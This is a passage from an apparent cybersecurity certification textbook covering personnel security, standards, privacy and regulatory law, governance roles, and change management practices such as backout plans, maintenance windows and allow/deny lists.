step instructions and checklists for ensuring that a task is completed in a way that
complies with policy.

Personnel Management
Identity and access management (IAM) involves both IT/security procedures and
technologies and Human Resources (HR) policies. Personnel management policies
are applied in three phases:
• Recruitment (hiring)—locating and selecting people to work in particular
job roles. Security issues here include screening candidates and performing
background checks.

• Operation (working)—it is often the HR department that manages the

communication of policy and training to employees (though there may be
a separate training and personal development department within larger
organizations). As such, it is critical that HR managers devise training programs
that communicate the importance of security to employees.

• Termination or Separation (firing or retiring)—whether an employee leaves

voluntarily or involuntarily, termination is a difficult process, with numerous
security implications.

Background Checks
A background check determines that a person is who they say they are and are
not concealing criminal activity, bankruptcy, or connections that would make them
unsuitable or risky. Employees working in high confidentiality environments or with
access to high-value transactions will obviously need to be subjected to a greater
degree of scrutiny. For some jobs, especially federal jobs requiring a security
clearance, background checks are mandatory. Some background checks are
performed internally, whereas others are done by an external third party.

Onboarding
Onboarding at the HR level is the process of welcoming a new employee to the
organization. The same sort of principle applies to taking on new suppliers or
contractors. Some of the same checks and processes are used in creating customer
and guest accounts.
As part of onboarding, the IT and HR function will combine to create an account
for the user to access the computer system, assign the appropriate privileges, and
ensure the account credentials are known only to the valid user. These functions
must be integrated, to avoid creating accidental configuration vulnerabilities, such
as IT creating an account for an employee who is never actually hired. Some of the
other tasks and processes involved in onboarding include the following:
• Secure Transmission of Credentials—creating and sending an initial password
or issuing a smart card securely. The process needs protection against rogue
administrative staff. Newly created accounts with simple or default passwords
are an easily exploitable backdoor.

• Asset Allocation—provision computers or mobile devices for the user or agree

to the use of bring-your-own-device handsets.

• Training/Policies—schedule appropriate security awareness and role-relevant

training and certification.

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IAM automation can streamline onboarding by automating the provisioning and access
management tasks associated with new employees. It enables the automated creation
and configuration of user accounts, assignment of appropriate access privileges
based on established roles and access policies, and integration with HR systems for
efficient new employee data synchronization. IAM automation reduces manual effort,
ensures consistency, and improves security by enforcing standardized access controls,
ultimately accelerating onboarding while maintaining strong security practices.

Playbooks
Playbooks are essential to establishing and maintaining organizational procedures
by establishing a central repository of well-defined, standardized strategies and
tactics. They guide personnel to ensure consistency in operations and improve
quality and effectiveness.
Playbooks facilitate knowledge sharing and continuity as employees move into new
roles or leave the organization. Playbooks also mitigate risk by documenting critical
procedures and preserving institutional knowledge. Playbooks help new team
members quickly learn established processes while existing team members have a
reference point for their tasks.
Moreover, playbooks act as a tool for quality assurance and continuous
improvement. Clearly defining processes and the best practices to handle them
makes it easier to identify and improve problem areas. By using playbooks,
organizations can monitor the use and effectiveness of procedures over time and
modify them as necessary to foster an environment of continual learning and
development.
Most significantly, playbooks are essential in incident response and crisis
management because they detail emergency procedures and contingency plans
vital to steering activities during an emergency or crisis. Playbooks help incident
response teams make quick decisions and work more effectively under stress,
leading to more resilient operations and reducing the likelihood and impact of
major security incidents.

Several best practice guides and frameworks are available to assist in developing
playbooks, such as The MITRE ATT&CK framework https://attack.mitre.org, NIST Special
Publication 800-61 https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final, and
Open Source Security Automation (OSSA) https://www.opensecurityandsafetyalliance.
org/About-Us.

Change Management
The implementation of changes should be carefully planned, with consideration
for how the change will affect dependent components. For most significant or
major changes, organizations should attempt to trial the change first. Every change
should be accompanied by a rollback (or remediation) plan, so that the change
can be reversed if it has harmful or unforeseen consequences. Changes should
also be scheduled sensitively if they are likely to cause system downtime or other
negative impact on the workflow of the business units that depend on the IT system
being modified. Most networks have a scheduled maintenance window period for
authorized downtime. When the change has been implemented, its impact should
be assessed, and the process reviewed and documented to identify any outcomes
that could help future change management projects.

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Offboarding
An exit interview (or offboarding) is the process of ensuring that an employee
leaves a company gracefully. Offboarding is also used when a project using
contractors or third parties ends. In terms of security, there are several processes
that must be completed:
• Account Management—disable the user account and privileges. Ensure that
any information assets created or managed by the employee but owned by the
company are accessible (in terms of encryption keys or password-protected
files).

• Company Assets—retrieve mobile devices, keys, smart cards, USB media, and
so on. The employee will need to confirm (and in some cases prove) that they
have not retained copies of any information assets.

• Personal Assets—wipe employee-owned devices of corporate data and

applications. The employee may also be allowed to retain some information
assets (such as personal emails or contact information), depending on the
policies in force.

The departure of some types of employees should trigger additional processes to

re-secure network systems. Examples include employees with detailed knowledge
of security systems and procedures, and access to shared or generic account
credentials. These credentials must be changed immediately.

Standards
Standards define the expected outcome of a task, such as a particular
configuration state for a server, or performance baseline for a service. The
selection and application of standards within an organization center on various
dynamic elements such as regulatory requirements, business-specific needs, risk
management strategies, industry practices, and stakeholder expectations.
Regulatory requirements are the primary driver for adopting standards. The unique
operational differences between organizations dictate varying legal requirements
and security, privacy, and data protection regulations. These requirements
often require implementing specific standards or using guidelines for achieving
compliance. The healthcare industry in the United States is a classic example,
where providers must comply with stringent data protection and privacy standards
established by the Health Insurance Portability and Accountability Act (HIPAA).
Depending on the nature of its operations, customer base, or technological
dependencies, each organization must adopt standards that specifically address
its needs. For example, organizations heavily utilizing credit card transactions will
adopt the PCI DSS standard to safeguard the cardholder data environment (CDE).
Similarly, cloud-reliant organizations often prefer adopting ISO/IEC 27017 and
ISO/IEC 27018 to ensure safe and secure cloud operations.
Risk management strategies organizations stress the need for appropriate
standards. Standards help identify, evaluate, and manage risks and fortify the
organization’s resilience against security incidents or data breaches. ISO/IEC 27001,
for example, provides a comprehensive framework for an information security
management system (ISMS) designed to aid organizations in effectively managing
security risks. Adherence to industry best practices also influences the adoption
of standards. Conforming to widely accepted and tested standards demonstrates
an organization’s commitment to upholding high security and data protection
levels to bolster the organization’s reputation and build trust with customers
and partners. Stakeholder expectations (such as customers, partners, vendors,

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investors, executive boards, etc.) significantly influence the choice of standards

too. Stakeholders view adherence to recognized standards as an affirmation of the
organization’s dedication to quality, security, and reliability.
The choice of standards should not be a procedural decision but instead a
strategic one. The selection of standards involves a thoughtful balance of legal and
regulatory requirements, business-specific needs, risk management protocols,
industry best practices, and stakeholder expectations. Adopting standards
impacts how a business operates, and selecting appropriate standards helps an
organization run more effectively. In contrast, adopting the wrong standards, or
failing to plan the implementation of standards properly, can have severe negative
consequences.

Industry Standards
Common industry standards used by public and private organizations include the
following:
• ISO/IEC 27001—An international standard that provides an information security
management system (ISMS) framework to ensure adequate and proportionate
security controls are in place.

• ISO/IEC 27002—This is a companion standard to ISO 27001 and provides

detailed guidance on specific controls to include in an ISMS.

• ISO/IEC 27017—An extension to ISO 27001 and specific to cloud services.

• ISO/IEC 27018—Another addition to ISO 27001, and specific to protecting

personally identifiable information (PII) in public clouds.

• NIST (National Institute of Standards and Technology) Special Publication

800-63—A US government standard for digital identity guidelines, including
password and access control requirements.

• PCI DSS (Payment Card Industry Data Security Standard)—A standard for
organizations that handle credit cards from major card providers, including
requirements for protecting cardholder data.

• FIPS (Federal Information Processing Standards)—FIPS are standards and

guidelines developed by NIST for federal computer systems in the United States
that specify requirements for cryptography.

Common industry standards such as these play a significant role in auditing by

providing a benchmark for evaluating organizational compliance and security
practices. Standards such as ISO 27001, NIST SP800-63, PCI DSS, and FIPS
provide comprehensive details and requirements for information security, risk
management, data protection, and privacy. Auditing against these standards
helps organizations assess their adherence to best practices, identify gaps or
vulnerabilities, and demonstrate their commitment to maintaining a secure and
compliant environment.

Internal Standards
Organizations also establish internal standards to ensure the safety and integrity of
operations and protect valuable resources such as data, intellectual property, and
hardware. Internal standards provide consistent descriptions to define and manage
important organizational practices. Standards differ from policies in a few ways.
A simplistic view of the differences between the two is that standards focus on
implementation, whereas policies focus on business practices.

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Password standards describe the specific technical requirements required to

design and implement systems, including how passwords are managed within
those systems to ensure that different systems can interoperate and use consistent
password-handling methods.
• Hashing Algorithms—Defines requirements for the hash functions used to
store passwords.

• Password Salting—Defines the methods used to protect password hashes to

protect them from rainbow table attacks.

• Secure Password Transmission—Defines the methods for secure password

transmission, including details regarding appropriate cipher suites.

• Password Reset—Defines appropriate identity verification methods to protect

password reset requests from exploitation.

• Password Managers—Defines the requirements for password managers that

organizations may choose to incorporate.

Access control standards ensure that only authorized individuals can access the
systems and data they need to do their jobs to protect sensitive information and
help prevent accidental changes or damage. Internally developed access control
standards typically include the following elements:
• Access Control Models—Defines appropriate access models for different use
cases. Examples include role-based access control (RBAC), discretionary access
control (DAC), and mandatory access control (MAC), among others.

• User Identity Verification—Defines acceptable methods to verify identities

before granting access. Examples include simple passwords, security tokens,
biometric data, and other methods.

• Privilege Management—Defines the methods for managing user privileges to

ensure they have the minimum required access.

• Authentication Protocols—Defines specific acceptable authentication

protocols, such as Kerberos, OAuth, or SAML.

• Session Management—Defines allowable session management practices,

including requirements for session timeouts, secure generation and
transmission of session cookies, and other similar requirements.

• Audit Trails—Defines mandatory audit capabilities designed to assist with

identifying and investigating security incidents.

Physical security standards protect datacenters, computer rooms, wiring closets,

cabling, hardware, and infrastructure comprising the IT environment and the
people who use and maintain them. Some examples include the following:
• Building Security—Methods for securing facilities, including card access
systems, CCTV surveillance, and security personnel.

• Workstation Security—Standards for physically securing laptops or other

portable devices.

• Datacenter and Server Room Security—Defines requirements for card access,

biometric scans, sign-in/sign-out logs, and escorted access for visitors.

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• Equipment Disposal—Defines requirements for securely disposing (or

repurposing) equipment to ensure that sensitive data is irrecoverable.

• Visitor Management—Defines the requirements for managing visitors, such as

sign-in/sign-out procedures, visitor badges, and escorted access requirements.

Encryption protects data from unauthorized access, and it is vital for securing
data both at rest (stored data) and in transit (data being transmitted). Encryption
standards identify the acceptable cipher suites and expected procedures needed to
provide assurance that data remains protected.
• Encryption Algorithms—Defines allowable encryption algorithms, such as
AES (Advanced Encryption Standard) for symmetric or ECC for asymmetric
encryption.

• Key Length—Defines the minimum allowable key lengths for different types of
encryption.

• Key Management—Defines how keys are generated, distributed, stored, and

changed. It often includes requirements for using secure key management
systems, procedures for regularly changing keys, and procedures for revoking
them if they are compromised.

Legal Environment
Governance committees ensure their organizations abide by all applicable
cybersecurity laws and regulations to protect them from legal liability. The
governance committee must address these external considerations in the strategic
plan for the organization.
Governance committees must manage many legal risks, such as regulatory
compliance requirements, contractual obligations, public disclosure laws, breach
liability, privacy laws, intellectual property protection, licensing agreements, and
many others. Cybersecurity governance committees must interpret and translate
these legal requirements into operational controls to avoid legal trouble, act
ethically, and protect the organization.
The key frameworks, benchmarks, and configuration guides may be used to
demonstrate compliance with a country’s legal/regulatory requirements or with
industry-specific regulations. Due diligence is a legal term meaning that responsible
persons have not been negligent in discharging their duties. Negligence may
create criminal and civil liabilities. Many countries have enacted legislation that
criminalizes negligence in information management. In the United States, for
example, the Sarbanes-Oxley Act (SOX) mandates the implementation of risk
assessments, internal controls, and audit procedures. The Computer Security Act
(1987) requires federal agencies to develop security policies for computer systems
that process confidential information. In 2002, the Federal Information Security
Management Act (FISMA) was introduced to govern the security of data processed
by federal government agencies.

Some regulations have specific cybersecurity control requirements; others simply

mandate "best practice," as represented by a particular industry or international
framework. It may be necessary to perform mapping between different industry
frameworks, such as NIST and ISO 27K, if a regulator specifies the use of one but not
another. Conversely, the use of frameworks may not be mandated as such, but auditors
are likely to expect them to be in place as a demonstration of a strong and competent
security program.

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Global Law
As information systems become more interconnected globally, many countries have
enacted laws with broader, international reach. Some examples include the General
Data Protection Regulation (GDPR) and California Consumer Privacy Act (CCPA)
which both act to protect the privacy of the constituents associated with each
respective law irrespective of geopolitical boundaries.

Personal Data and the General Data Protection

Regulation (GDPR)
Where some types of legislation address cybersecurity due diligence, others focus
in whole or in part on information security as it affects privacy or personal data.
Privacy is a distinct concept and requires that collection and processing of personal
information be both secure and fair. Fairness and the right to privacy, as enacted
by regulations such as the European Union’s General Data Protection Regulation
(GDPR), means that personal data cannot be collected, processed, or retained
without the individual’s informed consent. Informed consent means that the data
must be collected and processed only for the stated purpose, and that purpose
must be clearly described to the user in plain language, not legal jargon. GDPR
(ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-
protection-regulation-gdpr) gives data subjects rights to withdraw consent, and to
inspect, amend, or erase data held about them. Failure to comply with GDPR rules
can result in incredibly large fines.

California Consumer Privacy Act (CCPA)

The CCPA provides California residents the right to know what personal information
businesses collect about them, the purpose of collecting this data, and with
whom they share it. It protects California residents’ rights to access their personal
information, delete it, or opt out of its sale. Organizations must inform consumers
about the categories of personal information they collect and the purposes
for which the information will be used. The CCPA applies to any organization,
regardless of its location, that provides goods or services to California residents;
has gross annual revenues over $25 million; buys or sells the personal information
of 50,000 or more consumers, households, or devices; or derives 50% or more of
annual revenues from selling personal information.

Varonis’s blog contains a useful overview of privacy laws in the United States (varonis.
com/blog/us-privacy-laws).

Regulations and National, Local, Regional and Industry Laws

Many countries have national-level laws to support effective cybersecurity practices
and protect citizen data. The scope and detail of these laws varies significantly from
one country to another, but organizations must comply with the laws in all the
jurisdictions where they operate.
Examples in the United States include the Health Insurance Portability and
Accountability Act (HIPAA), Gramm-Leach-Bliley Act (GLBA), and Federal Information
Security Management Act (FISMA). The United Kingdom’s national laws include the
Data Protection Act 2018 and the Network and Information Systems (NIS) Regulations
2018. Canada enforces a privacy law called Personal Information Protection
and Electronic Documents Act (PIPEDA), India regulates the IT industry with the
Information Technology Act 2000, and Australia enforces the Privacy Act 1988.

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While it is not necessary to understand the details of each of these laws, it is

important to understand that this complicated legal framework greatly influences
the functional elements of a cybersecurity program.
While most cybersecurity laws typically have national or international scope due to
the global nature of the Internet, there are also laws and regulations with a more
local or regional reach. These laws may be specific to states, provinces, or even
cities, particularly in larger countries like the United States. Two important examples
include the New York Department of Financial Services (DFS) Part 500 Cybersecurity
Regulation and the Massachusetts 201 CMR 17.00.
Industry-specific cybersecurity laws and regulations govern how data should
be handled and protected. Here are a few key examples to help highlight that
cybersecurity is a significant concern across all sectors of industry and is protected
by a complicated matrix of laws that must be accommodated by cybersecurity
operations and organizational governance:
Healthcare
• Health Insurance Portability and Accountability Act (HIPAA) (United States)

• The General Data Protection Regulation (GDPR) (European Union)

Financial Services
• Gramm-Leach-Bliley Act (GLBA) (United States)

• Payment Card Industry Data Security Standard (PCI DSS) (Contractual

obligation)

Telecommunications
• Communications Assistance for Law Enforcement Act (CALEA) (United States)

Energy
• North American Electric Reliability Corporation (NERC) (United States and
Canada)

Education & Children

• Family Educational Rights and Privacy Act (FERPA) (United States)

• Children’s Internet Protection Act (CIPA) (United States)

• Children’s Online Privacy Protection Act (COPPA) (United States)

Government
• Federal Information Security Modernization Act (FISMA) (United States)

• Criminal Justice Information Services Security Policy (CJIS) (United States)

• The Government Security Classifications (GSC) (United Kingdom)

Cybersecurity regulations are legal rules and guidelines formulated by governments

and regulatory bodies to safeguard digital information and systems from
cyber threats. They set standards for protecting data confidentiality, integrity,
and availability, particularly sensitive and personal information. Regulations
cover diverse capabilities, including data protection, network and information
systems security, data breach notifications, digital identity verification, and many
others. Businesses, government agencies, organizations, and executives must
work diligently to comply with these regulations or risk significant fines and
imprisonment.

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Cybersecurity regulations aim to protect consumer privacy rights, ensure the

security of the financial system, uphold the stability and trustworthiness of the
Internet and digital economy, and protect critical national infrastructure from
cybercrime. The applicability of regulations depends on factors such as the industry
the organization operates within, the types of data it handles, and the regions
where it conducts business. Here are a few key examples, several of which have
been previously mentioned:
• General Data Protection Regulation (GDPR)

• California Consumer Privacy Act (CCPA)

• Health Insurance Portability and Accountability Act (HIPAA)

• Federal Information Security Management Act (FISMA)

• Network and Information Systems (NIS) Directive

• Cybersecurity Maturity Model Certification (CMMC)

Governance and Accountability

Governance practices ensure organizations abide by all applicable cybersecurity
laws and regulations to protect them from legal liability. Governance and
organizational-level oversight must manage many legal risks, such as regulatory
compliance requirements, contractual obligations, public disclosure laws, breach
liability, privacy laws, intellectual property protection, and licensing agreements,
and interpret and translate these legal requirements into operational controls to
avoid legal trouble, act ethically, and protect the organization.

Monitoring and Revision

The cybersecurity landscape is continually evolving. Consequently, organizations
must ensure that their cybersecurity policies, procedures, standards, and legal
compliance practices associated with legal and regulatory compliance are regularly
monitored, evaluated, and updated. These responsibilities are generally managed
via collaboration among diverse groups to review existing policies, procedures, and
standards and ensure their effectiveness against current requirements. Routine
audits, inspections, and assessments are commonly used to measure compliance
levels and identify new risks. The results of compliance reports, technological
changes, business processes, laws, or newly identified risks drive policy, procedure,
and standards revisions. Regular training sessions help to inform employees of
policy changes and ensure continued compliance.
Additionally, organizations must maintain awareness of any changes in
cybersecurity legislation in their jurisdictions, including international, national,
regional, or industry-specific laws. Effective monitoring and revision of cybersecurity
policies, procedures, standards, and legal compliance practices is a dynamic, cyclical
process requiring diligence, foresight, and proactive strategies.

Governance Boards
Governance boards are crucial in ensuring an organization’s effective security
governance and oversight because they are responsible for setting strategic
objectives, policies, and guidelines for security practices and risk management.
Governance boards oversee the implementation of security controls, work
closely with risk management teams to ensure compliance with relevant laws
and regulations, and evaluate the security program’s overall effectiveness.

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Governance boards drive organization-wide security practices through leadership,

guidance, and accountability and ensure that security risks are effectively
identified and mitigated. Governance boards unite executive management, security
professionals, and stakeholders to ensure security is a top strategic priority aligned
with the organization’s objectives and values.

Centralized versus Decentralized

Centralized and decentralized security governance models aim to achieve the
organization’s security goals, protect assets, mitigate risks, and ensure regulatory
compliance. Additionally, they recognize the importance of security and the
need for collaboration between stakeholders and departments. However, there
are notable differences between the two approaches. In centralized security
governance, decision-making authority primarily rests with a single core group
or department that establishes policies, procedures, and guidelines and makes
important security-focused decisions. Resource allocation, including budget and
personnel, is controlled by this group to promote consistency and standardization
across the entire organization.
In contrast, decentralized security governance distributes decision-making authority
to different groups or departments to facilitate security-focused decisions based on
localized needs and priorities. Each unit has greater control over the allocation of
security resources to allow greater adaptability and tailoring of security capabilities.
The choice between centralized and decentralized security governance depends on
the organization’s size, structure, culture, and risk appetite. Ultimately, the goal is
to create a security governance model that effectively supports the organization’s
needs while balancing security risks.

Hybrid governance structures combine elements of both centralized and decentralized

approaches. It aims to balance the advantages of centralized oversight and
decentralized implementation. Under a hybrid system, specific security processes and
decisions are centralized, while others are delegated to business units or departments to
facilitate the development of standardized policies at the enterprise level while providing
flexibility and local control as warranted.

Committees and Boards

Governance boards depend upon governance committees to assist in complex
decision-making situations. The governance board is typically composed of
executives with the ultimate decision-making authority and is responsible for
setting the strategic direction and policies of the organization. This responsibility
often requires executives to make critical decisions regarding subjects outside their
scope of expertise.
Committees are specialized groups comprised of subject matter experts,
stakeholders, and representatives from relevant departments that focus on specific
issues, such as security, risk management, audit, or compliance. They provide
in-depth analysis, recommendations, and operational support to the governance
board to provide them with the critical information needed to make effective
decisions.

Governance boards and governance committees serve distinct roles within an

organization’s governance structure. Governance boards are typically composed of
high-level executives and external stakeholders, whereas, governance committees are
typically comprised of subject matter experts and operational leaders.

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Government Entities and Groups

At the government level, governance committees are often represented by
specialized agencies. Several government agencies are associated with security
governance and differ between countries and jurisdictions. A few examples
of government agencies with security governance responsibilities include the
following:

Agency Description
Regulatory Agencies Regulatory agencies establish and enforce
security standards, regulations, and guidelines.
They oversee compliance with laws related to
specific sectors such as finance, healthcare,
telecommunications, and energy.
Intelligence Agencies Intelligence agencies gather and analyze
information to identify and counteract potential
security threats and provide this information
to national-level government groups to steer
national policy and military strategy.
Law Enforcement Agencies Law enforcement agencies enforce laws and
regulations related to public safety and security.
They investigate and prosecute criminal
activities, including cybercrimes and terrorist
activities.
Defense and Military Defense and military organizations are
Organizations responsible for safeguarding national security
and protecting the country from external
threats. They develop strategies, policies, and
capabilities to address physical security, border
control, and defense-related cybersecurity.
Data Protection Authorities Data protection authorities focus on protecting
personal data and privacy rights. They enforce
data protection regulations and provide
guidance on the best practices for securing
personal information.
National Cybersecurity National cybersecurity agencies focus on
Agencies protecting critical infrastructure, government
networks, and national cybersecurity interests.
They develop cybersecurity strategies,
coordinate incident response, and provide
guidance on cybersecurity practices for
government entities and private organizations.

Data Governance Roles

Security governance relies heavily on specially designed and interdependent
roles called owner, controller, processor, and custodian. Each role carries unique
responsibilities that contribute to maintaining effective security oversight and
control.

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Owner—A high-ranking employee, like a director or a vice president, typically holds

the owner role and is ultimately responsible for ensuring data is appropriately
protected. The owner identifies what level of classification and sensitivity the data
has, decides who should have access to it, and what level of security should be
applied. In relation to governance, the owner provides strategic guidance to ensure
that security policies align with business objectives.
Controller—The controller role closely relates to GDPR and identifies the purposes,
conditions, and means of processing personal data. An individual, public authority,
agency, or other body can fill the controller role. The controller ensures that data
processing activities adhere to all legal requirements. In relation to governance, the
controller helps maintain legal and regulatory compliance.
Processor—The processor is responsible for processing personal data on behalf of
the controller and often represents cloud service providers (CSP) but could also be
represented by vendors and business partners. Processors must maintain records
of their processing activities, cooperate with supervisory authorities, and implement
appropriate security measures to protect the data they handle. In relation to
governance, the processor role ensures that data is handled securely and in
accordance with the rules established by the owner and controller roles.
Custodian—The custodian, also known as the data steward, is responsible for
the safe custody, transport, storage of the data, and implementation of business
rules. The IT department typically represents the custodian role, and in relation
to governance, the custodian role implements and enforces the security controls
established by the data owner and controller and reports any issues indicative of a
security incident.

Coordination among data owner, controller, processor, and custodian in managing

and protecting data is crucial to ensure compliance with data protection regulations,
establish clear responsibilities, and maintain data integrity and security.

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Review Activity:
Policies, Standards, and Procedures
3

Answer the following questions:

1. This policy outlines the acceptable ways in which network and computer
systems may be used.

2. Describe the difference between change management and configuration

management.

3. What are a few examples of the types of capabilities that may be

included in a password standard?

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Topic 14B
Change Management
4

EXAM OBJECTIVES COVERED

1.3 Explain the importance of change management processes and the impact
to security.

Change management is a systematic approach to managing all changes made

within an IT infrastructure. Its primary goal is to minimize risk and disruption
while maximizing the value and efficiency of organizational changes. Change
management relies on effective planning, testing, approval, and implementation
of various changes ranging from minor updates to complicated system migrations.
Change management must consider the potential impacts and dependencies of
all proposed changes and mandate the development of contingency and rollback
plans in case changes lead to unforeseen problems. Proper documentation
and communication are also essential, ensuring that all relevant stakeholders
understand the details of proposed changes and their implications. Change
management programs promote a controlled progression of software and the IT
infrastructure and contribute to its resilience and stability.

Change Management Programs

Change management plays a vital role in an organization’s security operations. It
refers to a systematic approach that manages all changes made to a product or
system, ensuring that methods and procedures are used to handle these changes
efficiently and effectively. This helps minimize risks associated with the changes,
ensuring they do not negatively impact the organization’s security posture, service
availability, or performance.
A non-comprehensive list of changes typically managed in a change management
program includes the following:
• Software deployments

• System updates

• Software patching

• Hardware replacements or upgrades

• Network modifications

• Changes to system configurations

• New product implementations

• New software integrations

• Changes and refreshes to support environments

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If not properly managed, these changes can introduce new vulnerabilities into the
system, disrupt services, or negatively impact the organization’s compliance status.
A robust change management program allows all changes to be tracked, assessed,
approved, and reviewed. Each change must include documentation, including
details describing what will be changed, the reasons for the change, any potential
impacts, and a rollback plan in case the change does not work as planned. Each
change must be subject to risk assessment to identify potential security impacts.
Appropriate personnel must approve changes before implementation to ensure
accountability and ensure changes align with business priorities.
After implementations, changes must be reviewed and audited to ensure they have
been completed correctly and achieved their stated outcome without compromising
security. Systematic management of changes supports an organization’s ability to
reduce unexpected downtime and system vulnerabilities. Change management
programs contribute to operational resilience by ensuring that changes support
business objectives without compromising security or compliance.

A typical change management approval process involves several stages designed

to ensure proper assessment and approval of change proposals. Change requests
usually begin with submitting a request for change (RFC) that outlines the details of
the proposed change, including its purpose, scope, and potential impact. The change
request is reviewed by a designated change manager or committee that assesses its
feasibility, risks, alignment with organizational objectives, and policy compliance.
Following initial review, the change request undergoes a formal approval process
involving relevant stakeholders, such as management, IT teams, and any impacted
departments, to ensure consensus and authorization before the change is implemented.
Throughout the process, documentation and communication are crucial in tracking the
status and outcome of approved changes.

Factors Driving Change Management

Change management requires the expertise of individuals from various parts of
an organization to oversee and implement changes effectively. Examples include
IT professionals with technical knowledge, business leaders with operational
knowledge, and compliance officers with legal expertise. The involvement of these
stakeholders (which include anyone with a vested interest in the change or project
being implemented or developed) facilitates a comprehensive review of proposed
changes helping to identify non-obvious risks and identify effective implementation
plans that minimize risks and business disruptions. Additionally, including diverse
stakeholders promotes acceptance and adoption of the changes because they were
involved in the planning and decision-making process. Stakeholder participation
fosters ownership and responsibility, which are crucial for successful change
implementation.
Ownership in change management refers to individuals or groups that are primarily
responsible for implementing a specific change. Owners can be project managers,
team leaders, or anyone responsible for the change. Owners are accountable for
ensuring that the change is implemented as planned, risks are managed effectively,
and there’s a clear plan for communication and training associated with the
change. They also ensure that all stakeholders appropriately review and approve
the proposed change. Stakeholders in the change management process describe
the individuals or groups impacted (or interested) in the change and include
employees, managers, the Change Advisory Board (CAB), and sometimes even
customers, vendors, and partners. Stakeholder engagement is critical to successful
change management because keeping stakeholders informed about changes,
understanding their concerns, and addressing their needs improves the likelihood
of the change being accepted and implemented smoothly.

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Change Management Concepts

Concept Description
Impact Analysis This is the process of identifying and assessing
the potential implications of a proposed
change, including how the change will impact
individual users, business processes, or
interconnected systems.
Test Results Before implementation, changes must first
be evaluated in a test environment to ensure
they work as intended and do not cause
issues. Test results provide valuable insight
into the likelihood of success and help identify
potential issues without impacting business
operations.
Backout Plans A backout plan is a contingency plan for
reversing changes and returning systems
and software to their original state if the
implementation plan fails. A well-defined
backout plan helps to minimize downtime and
reduces the risk of data loss or other severe
impacts.
Maintenance Windows A maintenance window is a predefined,
recurring time frame for implementing
changes. They are typically scheduled during
periods of low activity to minimize business
disruptions.
Standard Operating These are detailed, written instructions that
Procedures (SOPs) describe how to carry out routine operations
or changes. In change management, SOPs
ensure that changes are implemented
consistently and effectively. They are generally
developed during testing phases and provide
detailed steps for employees tasked with
implementing a change to help reduce errors.

Allowed and Blocked Changes

Allow lists and deny lists play a significant role in change management practices
and can reference two different viewpoints. One scenario views allow and deny lists
in relation to change types or from a different view. Allow and block lists describe
software restriction approaches designed to control computer software. In terms of
change management, an allow list describes a list of approved software, hardware,
and specific change types (such as routine or low-risk changes) that are not
required to go through the entire change management process. An allow list may
also include specific individuals with change management approval authority. Allow
lists help streamline change management by reducing the time and effort required
for trusted or preauthorized changes. Allow lists must be updated via regular
reviews to stay corrected with changing organizational needs.
A deny list includes explicitly blocked software, hardware, and specific change
types. The block list might include software and hardware with known security or
compatibility issues, high-risk or high-impact changes that must always go through
the full change management process, or individuals who are not authorized to

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implement or approve changes. In this regard, deny lists help prevent unauthorized
or risky changes from being implemented. They can serve as a security measure to
clearly identify off-limits change types so that there is no room for negotiation or
misinterpretation.
Allow and block lists also refer to technical controls that exist in a few different
contexts, including access controls, firewall rules, and software restriction
mechanisms. Allow and block lists can impact change implementation by causing
unintended problems. For example, software allow lists can be negatively impacted
by software patching. If allow lists are based on executable file hash values, they
will fail to recognize newly patched executables after patching because their hash
values will change. This can result in fully patched systems that are unusable by
employees because none of the previously allowed software can run. Regarding
change management, it is important to incorporate the potential impacts of allow
and block lists into the testing plan.

Software Restriction Policies (block list) can be based on file hash values.
(Screenshot used with permission from Microsoft.)

Restricted activities refer to actions or changes that require additional scrutiny, strict
controls, or higher levels of approval/authorization due to their potential impact on
critical systems, sensitive data, or regulatory compliance.

Restarts, Dependencies, and Downtime

Service and application restarts, as well as downtime, are critical considerations
because they typically have a direct impact on business operations. For example,
reconfigurations and patching changes often require restarting services or
applications, leading to downtime. One of the primary goals of change management
is to minimize these disruptions by scheduling restarts or downtime events during
maintenance windows or off-peak times to reduce the impact on users and
business processes.

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Change management processes include communication requirements designed

to ensure relevant stakeholders are aware of service outages so they can prepare
accordingly. Effective change communication enhances the visibility of the change
management process among stakeholders and fosters a culture of transparency
and cooperation.
Services and applications often depend on other software, interfaces, and services
to function correctly. These dependencies complicate changes because a service
restart in one area may significantly impact another. For example, if a database
server is restarted, all applications that rely (depend) on the database will likely
experience issues or downtime. A change that initially appeared to be minor may
impact a wide range of the organization’s operations. A careful analysis of software
and system dependencies is critical for reasons like these. Understanding what
services depend on each other, how restarts impact them, and what measures need
to be taken to mitigate potential impacts help avoid unintended outages.
Dependencies also impact the time needed for a change. If a service restart
requires other services to be shut down or restarted, the overall change process
will need more time. Additionally, backout plans may also need to consider
dependencies as part of the process, which will also require additional time.
Understanding the risks associated with restarts and downtime drives the
development of effective backout plans and downtime contingencies, ensuring the
organization is well prepared to handle any potential complications and unintended
consequences related to the change. Additionally, understanding risks associated
with a change also supports the development of post-change performance
monitoring to validate that systems function as required and help detect issues
quickly. Sometimes, the potential risks of a change causing significant disruption
require the organization to identify alternative solutions.
Some typical IT changes that generally require service or application restarts and
result in downtime are as follows:

Change Type Description

Software Upgrades and Patches When upgrading software applications,
especially major version updates or patches,
a restart of the application is typically needed
to apply the changes effectively and ensure
the updated version is fully functional.
Configuration Changes Many system configuration changes, such
as modifying server settings, network
configurations, or database parameters,
require a restart of the affected services to
apply the changed configurations properly.
Infrastructure Changes When changing infrastructure components,
such as switches, routers, firewalls, and load
balancers, it is typically necessary to restart
the devices to apply the changes and ensure
they do not negatively impact operation.
Security Changes Implementing specific security measures,
such as updating encryption protocols,
enabling or disabling security features,
or modifying access control settings,
may require a restart of the services or
applications to enforce the new security
configurations effectively.

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Downtime refers to the scheduled time designated for changes to be implemented

(scheduled downtime) or the amount of time a service or application is unavailable
(unscheduled downtime).

Legacy Systems and Applications

Legacy applications pose unique challenges regarding change management as
these systems are often critical to business operations and are difficult to manage.
Many legacy applications are built using outdated technology, which introduces
compatibility issues when implementing changes. For example, new software or
security updates may be incompatible with legacy systems. These Incompatibility
issues might require specialized solutions, such as virtualization, emulation,
interpreters, custom "fit-gap" software, or modifications to the newer components
to ensure compatibility. These accommodations further complicate
the manageability of the legacy application.
Legacy applications often lack comprehensive documentation or have been heavily
customized over years or even decades, making them extremely difficult to manage.
This complexity necessitates extensive testing and meticulous implementation
plans to help avoid unintended consequences or outages. Legacy applications also
typically lack vendor support, removing the option to "call for help," which increases
the risks associated with any change. A lack of vendor support coupled with high
complexity, poor documentation, and business criticality make legacy systems a
significant security problem.

Documentation and Version Control

